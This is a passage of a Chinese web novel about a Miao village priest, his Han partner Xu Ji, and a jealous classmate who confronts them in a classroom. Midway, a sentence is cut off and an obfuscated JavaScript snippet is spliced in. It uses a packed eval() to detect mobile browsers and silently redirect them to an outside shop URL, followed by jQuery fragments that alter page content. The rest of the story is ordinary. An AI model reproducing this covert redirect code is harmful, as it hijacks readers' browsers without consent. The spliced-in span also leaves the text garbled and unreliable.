这话刚落，教室里就响起一片憋不住的偷笑声，议论声也跟着冒了出来。
“冰块？！沈祭司居然还有这一面？”赵铁锤瞪大了眼睛，转头看向角落里的两人，笑得一脸八卦，“跟现在对着嫂嫂的样子，简直判若两人啊！”
苏招捂着嘴，肩膀抖个不停，小声跟旁边的同学嘀咕：“果然是只对嫂嫂融化的冰山！这反差也太甜了吧！”
王翠花咬着笔杆，眼睛亮晶晶的，忍不住接话：“怪不得颜染怕他怕得要命，原来在寨子里这么吓人！”
靠窗的男生推了推眼镜，一本正经地总结：“这就是传说中的外冷内热吧！不对，是只对一人热！”
满教室的调侃声里，沈司南的耳尖微微泛红，伸手捏了捏许祭的指尖，语气里带着点无奈：“别听她胡说。”
许祭仰头看他，眼底盛着笑意，故意凑近他耳边：“原来你以前是冰块啊？那我是不是捡到宝了？”
教室前门“吱呀”一声被推开，陈杬祝背着双肩包走了进来，目光扫过教室，在角落里的沈司南身上顿住，他停下脚步，规规矩矩地喊了一声：“沈祭祀好。”
声音不大，却刚好让周围几排的人都听得一清二楚。他打完招呼，就低头整理起桌肚里的书本，完全没看旁边的许祭一眼。
这下，旁边的同学立刻炸开了锅，小声的议论声像蚊子似的嗡嗡响。
“哎？陈杬祝怎么只跟沈祭司打招呼啊？”赵铁锤碰了碰前排同学的胳膊，一脸疑惑。
苏招也皱着眉，凑过来低声说：“就是啊，许祭就坐在沈祭司旁边，他看不见吗？也太奇怪了吧。”
王翠花咬着笔杆，偷偷瞄了眼陈杬祝的背影，小声嘀咕：“他俩以前是不是有什么矛盾啊？不然怎么连招呼都不打。”
靠窗的男生推了推眼镜，若有所思地说：“说不定是不知道怎么称呼？毕竟许祭和沈祭司的关系……”
议论声越来越密，连沈司南都抬眼瞥了陈杬祝一眼，眉头微不可察地蹙了一下。许祭倒是没太在意，只是低头翻着练习册，指尖轻轻划着书页上的公式。
瞿凝戳了戳陈杬祝的胳膊肘，压低声音，语气里满是不解：“你怎么回事啊？就只跟沈祭祀打招呼，许祭就在旁边呢，你俩以前不是还说过话吗？”
陈杬祝的笔尖顿了顿，指腹用力蹭过纸上的字迹，声音冷得像淬了冰，一字一句道：“他不配。”
这三个字轻飘飘的，却像一颗炸雷在周围炸开，瞬间掀起一片哗然。
“卧槽！他说什么？许祭不配？”赵铁锤差点从椅子上弹起来，声音都拔高了八度。
苏招也愣住了，皱着眉和旁边的人嘀咕：“这俩人到底有什么过节啊？以前看着挺平和的，怎么突然这么冲？”
王翠花咬着笔杆，眼神里满是惊疑：“不会是因为沈祭祀吧？难道是……嫉妒？”
靠窗的男生推了推眼镜，若有所思地接话：“肯定有内情！陈杬祝平时看着挺内敛的，怎么会说出这种话？”
议论声越来越大，连余淮都忍不住朝这边看了两眼，眼底闪过一丝疑惑。沈司南的脸色瞬间沉了下来，周身的温度仿佛都降了几度，他伸手将许祭往自己身边揽了揽，抬眼看向陈杬祝，目光冷冽如霜。
瞿凝被这三个字噎得半天没回过神，她张了张嘴，又凑近了些，声音压得更低：“你疯了吧？好好的怎么说这种话？”
陈杬祝没再理她，只是将脸埋进臂弯里，后背绷成了一道僵硬的弧线，脖颈处的皮肤却泛着不正常的红。
教室里的议论声非但没停，反而更甚了，连带着前排的颜染都踮着脚往这边瞧，小声问许祭：“嫂嫂，那个姐姐是不是跟你有仇啊？”
许祭摇了摇头，刚想说什么，就被沈司南攥住了手腕。沈司南的指节泛着白，目光落在陈杬祝的背影上，冷得像腊月里的冰棱，他薄唇轻启，声音不大，却带着不容置疑的威压：“陈杬祝，把你刚才的话收回去。”
这话一出，满教室瞬间安静了。
陈杬祝猛地抬起头，眼眶通红，却梗着脖子瞪着许祭：“我不收！他本来就不配待在你身边！一个外来的汉人，凭什么占着我们苗寨最尊贵的祭祀？凭什么让你放下祭祀的责任，天天陪着他？”
她的声音尖利，带着歇斯底里的控诉，惊得窗外的蝉鸣都顿了顿。
“汉人怎么了？”赵铁锤第一个炸了毛，“许祭哥待我们苗寨哪里不好了？上次寨里的老阿婆生病，还是他跑前跑后找的县城医生！”
苏招也跟着点头：“就是！他还帮我们整理苗寨的老故事，说要写成书让更多人知道！跟沈祭司也是真心相爱的，哪里不配了？”
王翠花更是气鼓鼓的：“你这是偏见！不能因为许祭哥不是苗族人，就这么说人家！”
议论声再次涌起来，这次却满是对陈杬祝的反驳。余淮皱着眉走过来，伸手拍了拍陈杬祝的肩膀，语气温和却带着力度：“小姑娘，说话要讲良心，不能凭着一己之私就伤人。”
陈杬祝却一把甩开她的手，眼泪掉得更凶了：“私心？我哪里有私心？我只是看不惯他把司南阿哥从苗寨身边抢走！司南阿哥是属于苗寨的，不是属于他一个人的！”
许祭看着她泛红的眼眶，心里忽然咯噔一下，他想起上次回苗寨，好像见过陈杬祝——她站在祭坛外的人群里，手里攥着一串银铃，望着沈司南的眼神，满是孺慕和……不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17037628|194640||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
甘。
沈司南的脸色愈发沉了，他将许祭往自己怀里紧了紧，一字一句道：“我的选择，轮不到你置喙。许祭是我认定的人，这辈子都是。”
沈司南的声音冷了几度，尾音拖得长长的，带着几分不怒自威的压迫感：“陈杬祝，你要是再敢多说一个字，你觉得以前的寨规是不是该拿出来好好温习温习了？”
这话一出，教室里瞬间响起一阵憋不住的低笑声，议论声也跟着冒了出来。
“哈哈哈！寨规！沈祭司这是要放大招了！”赵铁锤捂着嘴，肩膀抖得厉害，“上次颜染捣乱，抄了三天寨规，手都酸了！”
苏招也跟着点头，冲陈杬祝的方向挤了挤眼睛：“就是就是！寨规里管得可严了，乱嚼舌根可是要罚的！这下有好戏看了！”
王翠花咬着笔杆，眼底满是看好戏的神色：“陈杬祝刚才那么凶，现在该傻眼了吧？沈祭司护短护得也太明显了！”
靠窗的男生推了推眼镜，一本正经地补充：“这叫杀鸡儆猴，哦不，是以规束人！沈祭司这招高啊，一句话就拿捏住了！”
满教室的目光都黏在陈杬祝身上，等着看她的反应。陈杬祝的脸一阵红一阵白，攥着衣角的手指用力得泛白，却愣是没敢再说出一个字，只能死死地瞪着许祭，眼底的不甘快要溢出来。
余淮上前一步，伸手按住陈杬祝的肩膀，力道不重却带着不容挣脱的稳，语气淡得听不出情绪，却让空气里的火气瞬间降了几分：“陈杬祝，不要说了，再说下去，可是要见血的。”
这话轻飘飘的，却像一块冰投进了滚水里，教室里的议论声顿时变了调子。
“见血？什么意思啊？难道寨规里还有这么狠的惩罚？”赵铁锤挠了挠头，声音压低了些，眼里却满是好奇。
苏招也缩了缩脖子，小声跟瞿凝嘀咕：“我听我奶奶说过，以前苗寨的老规矩，要是有人故意挑事搅乱人心，惩罚可不止抄寨规那么简单……”
王翠花捂着嘴，眼里闪过一丝后怕：“怪不得余淮姐突然这么说，这是在提醒她吧？再闹下去真的要出事了！”
靠窗的男生推了推眼镜，若有所思地接话：“应该是涉及到祭祀的名誉了，苗寨最看重这个，陈杬祝刚才的话，其实已经踩了红线。”
议论声里少了几分看热闹的戏谑，多了些小心翼翼的忌惮。陈杬祝的肩膀猛地一颤，抬头看向余淮，眼底的倔强终于裂开了一道缝，泛红的眼眶里水汽更重，却死死咬着唇，再也没吐出一个字。
空气里的紧绷感像被拉到极致的弦，连窗外的蝉鸣都弱了几分。
陈杬祝的肩膀还在微微发抖，指尖掐进掌心，留下几道深深的红痕，却始终没再吭声。瞿凝看不下去，悄悄扯了扯她的袖子，低声劝：“算了，别犟了。”
沈司南没再看她，只是垂眸，指尖轻轻摩挲着许祭的手背，像是在安抚他微僵的指尖。许祭抬眼，望进他眼底，那里没有半分戾气，只有藏不住的温柔，他忍不住弯了弯唇角，反手握住沈司南的手。
余淮松开按住陈杬祝的手，转身看向满教室屏息的学生，扬了扬下巴，语气又恢复了平日里的爽朗：“都愣着干什么？难不成还等着看大戏？散了散了，该看书的看书，该聊天的聊天，别堵在这儿挡光。”
赵铁锤最先反应过来，嘿嘿笑了两声，拍了拍桌子：“散了散了！没热闹看咯！”说着，还故意朝陈杬祝的方向挤了挤眼睛。苏招也拉着王翠花往回走，嘴里还小声念叨：“刚才吓死我了，余淮姐那句话也太有气场了。”
学生们三三两两地散开，议论声却没断，只是都压低了嗓门，像一阵风似的在教室里飘。
颜染凑到许祭身边，把竹篮往他怀里塞了塞，小声嘀咕：“嫂嫂别往心里去，陈杬祝就是从小被家里宠坏了，总觉得司南阿哥该是苗寨所有人的，以前也不是没闹过别扭。”
许祭接过竹篮，低头看着里面裹着粽叶的糯米糍，鼻尖萦绕着淡淡的红糖香，他弯了弯唇：“我知道，没事。”
沈司南揽住他的肩，眼底闪过一丝冷意，却没再多说什么。
这时，李沐阳拎着余淮带来的布包走过来，笑着打圆场：“好了好了，多大点事儿，别影响心情。我和余淮带了苗寨的腌鱼，晚上要不要一起去我家吃？”
许祭刚想开口，就听见身后传来一声极轻的啜泣。
陈杬祝终于忍不住，趴在桌子上，肩膀一耸一耸的，哭得压抑又委屈。瞿凝叹了口气，拿出纸巾递给她，没再说话。
夕阳透过窗户，斜斜地照进来，在地上投下长长的影子，教室里的喧闹渐渐平息，只剩下隐约的抽泣声，和窗外渐起的晚风。
陈杬祝猛地推开椅子，椅子腿在水泥地上划出刺耳的声响。她没再看任何人，抓起桌角的书包，攥着的手指因为用力而泛白，眼眶通红却倔强地不肯让眼泪掉下来，转身就往教室外冲。
“欸！”瞿凝下意识地喊了一声，伸手想去拉，却只捞到一片衣角。
教室门被她“砰”地一声甩上，震得窗户玻璃都轻轻颤了颤。
短暂的寂静后，教室里又响起细碎的议论声。
“这就跑了？也太倔了吧！”赵铁锤撇撇嘴，小声嘀咕。
“她肯定也知道自己理亏，就是拉不下脸道歉。”苏招叹了口气，摇了摇头。
“其实她要是好好说，也不至于闹成这样……”王翠花的声音越来越小，目光落在紧闭的门上，带着点惋惜。
沈司南的眉头始终没松开，他低头看向怀里的许祭，指尖轻轻蹭过他的侧脸，声音放柔：“别往心里去。”
许祭摇了摇头，目光也望向门口的方向，轻声道：“她……应该是憋了很久了。”
余淮走到窗边，撩开窗帘看了一眼，陈杬祝的身影正飞快地消失在巷子尽头，她回头叹了口气：“这孩子，从小就认死理，总觉得司南是苗寨的，不能被外人抢走。”
余淮靠着窗台，指尖轻轻摩挲着发簪上的银纹，忽然转头看向满教室的学生，笑着开口：“你们觉得，祭祀是什么样的？”
教室里瞬间安静了几秒，随即炸开了锅，议论声此起彼伏地冒了出来。
“祭祀啊，肯定是高高在上的！守着祭坛，穿着绣满花纹的法衣，不苟言笑的那种！”赵铁锤率先嚷嚷起来，一脸笃定。
苏招托着下巴，慢悠悠地接话：“我觉得是神秘又威严的，能和山神对话，会摆弄那些苗寨的古老仪式，平时都不怎么跟人说话。”
王翠花抿了抿嘴，声音软乎乎的：“应该是很温柔的吧？就像司南阿哥对嫂嫂那样，只是对别人比较冷淡，心里装着苗寨的所有人。”
靠窗的男生推了推眼镜，一本正经地补充：“祭祀是苗寨的精神支柱吧？得有担当，能扛事，还得懂很多老规矩老故事，不然怎么服众？”
颜染也挤过来凑热闹，晃着辫梢的银铃脆生生地喊：“我觉得祭祀是会罚我抄寨规的！但上次我摔下山崖，也是司南阿哥背我回来的！”
议论声里，余淮轻轻笑了笑，转头看向角落里的沈司南和许祭，眼底带着几分深意。
余淮轻轻叹了口气，目光掠过沈司南紧抿的唇角，声音里带着几分旁人听不出的唏嘘：“你们只看到祭祀的尊贵，却不知道，祭祀大人，很苦很累的。”
这话像一颗石子投进水里，教室里的议论声顿时变了味道，少了几分戏谑，多了些郑重。
“苦？累？”赵铁锤挠了挠头，声音低了不少，“祭祀不是只要守着祭坛，主持仪式就行吗？”
苏招蹙着眉，若有所思地接话：“我听我阿爷说过，以前苗寨闹灾，祭祀要跪在祭坛前祈福，跪到膝盖都肿了，几天几夜不吃饭。”
王翠花的眼睛微微泛红，小声道：“原来司南阿哥这么不容易啊……他平时看着冷冷的，没想到要扛这么多事。”
靠窗的男生推了推眼镜，补充道：“不止祈福吧？寨子里的大小事，谁家有矛盾，有难处，是不是都要找祭祀拿主意？”
颜染也不闹了，攥着辫梢的银铃，小声嘀咕：“我记得去年冬天，寨子里的老井冻住了，司南阿哥守在井边，守了一整夜呢……”
议论声渐渐低了下去，所有人的目光都落在沈司南身上，看他挺直的脊背，看他握着许祭的手，忽然觉得，那份清冷的尊贵背后，藏着太多不为人知的沉甸甸的责任。
李沐阳靠在门框上，抱着胳膊笑了一声，接话道：“是啊，要是祭祀的活儿很轻松，那我也能顶上。”
这话一出，教室里顿时响起一片哄笑声，议论声也跟着热闹起来。
“拉倒吧你！”赵铁锤笑得直拍桌子，“上次寨里祭祖，你连祭品摆位都记混了，还想当祭祀？”
苏招也跟着打趣：“就是！你连最基础的苗语祝词都念不利索，真要当了祭祀，苗寨的山神怕是都要笑出声！”
王翠花捂着嘴笑，补充道：“而且祭祀要守那么多规矩，你连早起都做不到，还谈什么吃苦受累？”
靠窗的男生推了推眼镜，一本正经地拆台：“从理论上来讲，祭祀需要精通苗寨的历史、仪式、草药等多项技能，你一项都不达标，建议直接淘汰。”
余淮听着，忍不住伸手拍了李沐阳一下，嗔道：“就你贫嘴。”
李沐阳嘿嘿一笑，凑到余淮身边，故意扬声道：“开个玩笑嘛！我哪能跟我们这位正经祭祀比？人家可是从小背着寨规长大的，我这粗人可扛不住那份累。”
沈司南瞥了他一眼，嘴角却极淡地勾了一下，没说话，只是将许祭的手又攥紧了几分。
沈司南的目光微微放空，落在窗外的老槐树上，指尖无意识地摩挲着许祭的手背，记忆像是被风吹开的褶皱，慢慢铺展。
他想起七岁那年，阿爹还在。
那时候的祭坛比现在更旧，青石板缝里长着青苔，风一吹，带着松枝和香灰的味道。阿爹站在祭坛上，手里拿着泛黄的寨规册子，声音沉得像山涧的石头：“司南，从今天起，你要把这些都背下来，一字不差。”
册子上的字是老苗文，弯弯曲曲的像虫子爬，他认得不全，只能跟着阿爹一个字一个字地念。白天要跟着寨里的老药师认草药，分辨哪些能治病，哪些是蛊引，哪些碰都碰不得；晚上就蹲在油灯下，对着册子死记硬背，背错一个字，阿爹的戒尺就会落在手心上，不痛，却烫得慌。
有天夜里下大雨，雷声劈下来，把窗户纸都震得发抖。他抱着册子缩在墙角，实在困得睁不开眼，眼皮子打架的时候，阿爹走过来，没打他，只是摸了摸他的头，说：“祭祀不是享福的命，是扛事的。”
后来阿爹走了，走的那天，也是大雨。
他跪在祭坛前，把整本寨规背了一遍，背到最后一句“祭祀在，苗寨在”的时候，雨砸在脸上，冷得像冰。那天起，他再也没哭过，也再也没在别人面前露出过半分软弱。
“司南？”许祭察觉到他的指尖发凉，轻轻晃了晃他的手。
沈司南回过神，低头看向他，眼底的雾霭散了，取而代之的是温柔的笑意，他摇了摇头：“没什么，想起了一些小时候的事。”
教室里的议论声不知何时停了，赵铁锤和苏招他们都没说话，只是安安静静地看着他，眼里满是敬佩。颜染更是红了眼眶，攥着绣帕小声说：“司南阿哥，你好辛苦啊。”
李沐阳见状，连忙上前一步拍了拍沈司南的肩膀，扬起嗓门打破了这略显沉闷的气氛：“哎哎哎，都别耷拉着脸，多大点事儿，不要伤感，不说这个了！来，我给你们讲讲我小时候的糗事！”
这话一出，教室里瞬间活络起来，议论声此起彼伏，满是好奇。
“哇！李副校长还有糗事？我可太想听了！”赵铁锤瞬间来了精神，拍着手大声起哄。
“肯定是偷摸下河摸鱼被抓吧？我猜的！”苏招托着下巴，眼睛亮晶晶地猜道。
王翠花也跟着点头，小声和旁边的同学嘀咕：“李副校长看着就很皮，小时候说不定总闯祸。”
靠窗的男生推了推眼镜，一本正经地分析：“按照常理推断，他的糗事大概率和余淮姐有关，毕竟他俩从小一起长大。”
余淮没好气地瞪了他一眼，伸手拧了拧他的胳膊：“你少在这里胡说八道，小心我把你小时候偷藏糖糕的事抖出来。”
李沐阳吃痛地嘶了一声，连忙告饶：“别别别！我错了我错了！”
这一来一回的互动，逗得全班同学都笑出了声，刚才那点沉甸甸的气氛，瞬间烟消云散。
李沐阳摸了摸鼻子，脸上的笑容淡了些，语气也带上了点回忆的味道：“我小时候啊，第一次见沈司南，他还是个丁点大的小孩子，跪在他家院里的青石板上，手里还攥着那本寨规册子，天都黑透了，他还没起来。我那时候傻，看着他可怜，就跑过去塞给他一块糖，想关心关心他，结果转头就被家里人逮住，结结实实揍了一顿。”
这话一出，教室里的议论声顿时响了起来，带着满满的好奇。
“啊？为什么要打你啊？就因为给了一块糖？”赵铁锤瞪大了眼睛，满脸不解。
“肯定是那时候祭祀的规矩严！随便打扰祭祀后人背寨规，是犯忌讳的吧？”苏招摸着下巴，一副恍然大悟的样子。
王翠花听得眼睛都红了，小声嘀咕：“那时候的司南阿哥得多可怜啊，大晚上的跪着，连块糖都不能吃。”
靠窗的男生推了推眼镜，补充道：“这就能看出来，祭祀的传承从小时候就带着枷锁了，连旁人的一点善意都要被规矩拦着。”
颜染也攥紧了绣帕，眨巴着眼睛问余淮：“淮姨，那时候的规矩真的这么严吗？”
余淮无奈地点了点头，瞥了李沐阳一眼：“那时候寨子里的人都把祭祀看得重，觉得规矩不能破，哪像现在这么活络。”
李沐阳像是忽然想起了当年屁股上挨的那顿板子，下意识地搓了搓后腰，脸上堆起几分讨好的笑，凑到沈司南跟前，刻意压低了声音，尾音还拖出点黏糊糊的调子，带着点撒娇的意味：“沈司南，你最好了，当年那顿打我可是替你挨的，现在放过我行不行嘛？”
他说着，还伸手想去拍沈司南的肩膀，手腕刚抬起来，就被沈司南用眼神轻飘飘地扫了一眼。那眼神凉丝丝的，带着点不容置喙的淡漠，李沐阳的手就僵在了半空中，心里咯噔一下，暗道不好，这茬怕是没那么容易翻篇。
沈司南连眼皮都没抬一下，指尖依旧慢悠悠地摩挲着许祭的手背，指腹蹭过许祭手背上浅浅的骨节，动作轻柔得不像话，可吐出的两个字，却干脆利落，半点情面都不留：“不行。”
许祭坐在旁边，看着李沐阳那副吃瘪的模样，忍不住弯了弯唇角，指尖在沈司南的掌心轻轻挠了挠。沈司南感受到掌心的痒意，侧头看他一眼，眼底瞬间漫开一层温柔的笑意，和方才那副冷淡的样子判若两人。
这话一出，教室里瞬间爆发出一阵憋不住的哄笑声，议论声也跟着此起彼伏，连带着空气里的沉闷都散了不少。
“哈哈哈！李副校长撒娇都没用！沈祭司也太不给面子了！”赵铁锤拍着桌子笑，差点把桌角的练习册都掀翻，眼睛里满是看热闹的兴味，心里暗道，原来李副校长也有吃瘪的时候，平时看他怼天怼地的，遇上沈司南还不是没辙。
苏招也笑得直捂肚子，肩膀一耸一耸的，凑到王翠花耳边，挤眉弄眼地小声嘀咕：“看出来了吧，沈祭司这是记仇呢！小时候的事儿到现在还没忘，这心眼也太小了——不过我喜欢！”王翠花咬着唇笑，指尖捻着衣角，小声接话：“李副校长也太逗了，居然还跟沈祭司撒娇，反差也太大了！”
靠窗的男生推了推鼻梁上的眼镜，镜片反光遮住了眼底的笑意，却一本正经地转头跟同桌分析：“这就叫一物降一物，李副校长平时那么皮，上蹿下跳的，也就沈祭司能治住他！你看沈祭司那态度，分明就是揣着明白装糊涂，故意逗他呢！”
余淮靠在门框上，看着李沐阳那副委屈巴巴的样子，也忍不住笑出了声，抬脚轻轻踹了踹他的小腿，嗔道：“活该，谁让你小时候那么欠，非要去撩拨他。”
李沐阳哀嚎一声，捂着后脑勺往后退了两步，脸上的讨好瞬间垮了下来，委屈巴巴地瞪着沈司南，心里腹诽，这小子也太记仇了，不就是小时候偷偷塞给他一块糖吗，至于记到现在？嘴上却不敢多说，只能嘟囔着：“你这人，怎么一点情面都不讲！”
沈司南这才抬眼，瞥了他一下，嘴角极淡地勾了勾，那笑意转瞬即逝，快得让人以为是错觉。他没再说话，只是反手握住许祭的手，将那只温软的手拢在掌心，低头凑到许祭耳边，用只有两人能听见的声音轻声问：“刚才没吓到你吧？”
窗外的夜色已经浓得化不开，路灯的光晕透过窗户洒进来，在课桌上投下一片暖黄的光斑，教室里的吊扇嗡嗡转着，带着几分夏夜的燥热。
赵铁锤最先撑着桌子站起身，椅子腿在水泥地上划出刺啦一声响，他伸了个老大的懒腰，骨头缝里都透着股懒洋洋的劲儿，扯着嗓子叹道：“唉——终于要放学了！这晚自习上得我眼皮子都快粘一块儿了！”
这话瞬间戳中了所有人的心声，教室里立刻响起一片此起彼伏的附和，笔尖划过纸张的沙沙声都停了下来。
“可不是嘛！我感觉我的脑子都快成浆糊了！”苏招把笔往笔袋里一丢，动作麻利地收拾着课本，“等下冲去校门口买碗冰粉，加超多的山楂碎，爽死！”
王翠花慢吞吞地把作业本塞进书包，手指揉着发胀的太阳穴，小声嘀咕：“回家得赶紧洗漱睡觉，明天还要早起背书呢，今晚的月亮看着都犯困。”
靠窗的男生抬腕看了眼手表，镜片反射着窗外的灯光，一本正经地接话：“距离放学铃响还有三分钟，按照惯例，值日班长还会啰嗦两分钟，咱们能准时踏出校门就不错了。”
“别啊——”好几个人异口同声地哀嚎起来，惹得前排的余淮都忍不住回头笑了笑。
颜染也蹦蹦跳跳地凑到许祭身边，辫梢上的银铃叮当作响，眼睛在夜色里亮得像星星：“嫂嫂，晚自习放学啦，要不要和司南阿哥一起去我家？我阿婆留了甜酒冲蛋，热乎乎的可好喝了！”
许祭闻言，弯着眉眼笑了笑，指尖轻轻蹭了蹭沈司南的手背，语气温软又带着几分认真：“不了，我要和司南回去背古书。”
他说着，抬眼看向沈司南，眼底盛着细碎的笑意，“之前你说的那本记录苗寨草药的册子，我还没背熟呢，今晚得趁热打铁。”
沈司南垂眸看他，眸色柔和得像化开的春水，伸手揉了揉他的头发，指尖划过他柔软的发顶，声音低沉悦耳：“不急，慢慢记。”
颜染闻言，撇了撇嘴，却还是乖巧地点点头：“好吧好吧，那你们记得早点休息，别熬太晚啦！”
旁边的赵铁锤吹了声口哨，挤眉弄眼地起哄：“哟哟哟，学霸情侣就是不一样，放学都不忘记学习！”
这话惹得周围同学一阵哄笑，许祭的脸颊微微泛红，伸手轻轻掐了下沈司南的胳膊，沈司南却反手握住他的手腕，嘴角噙着淡淡的笑意，任由他闹。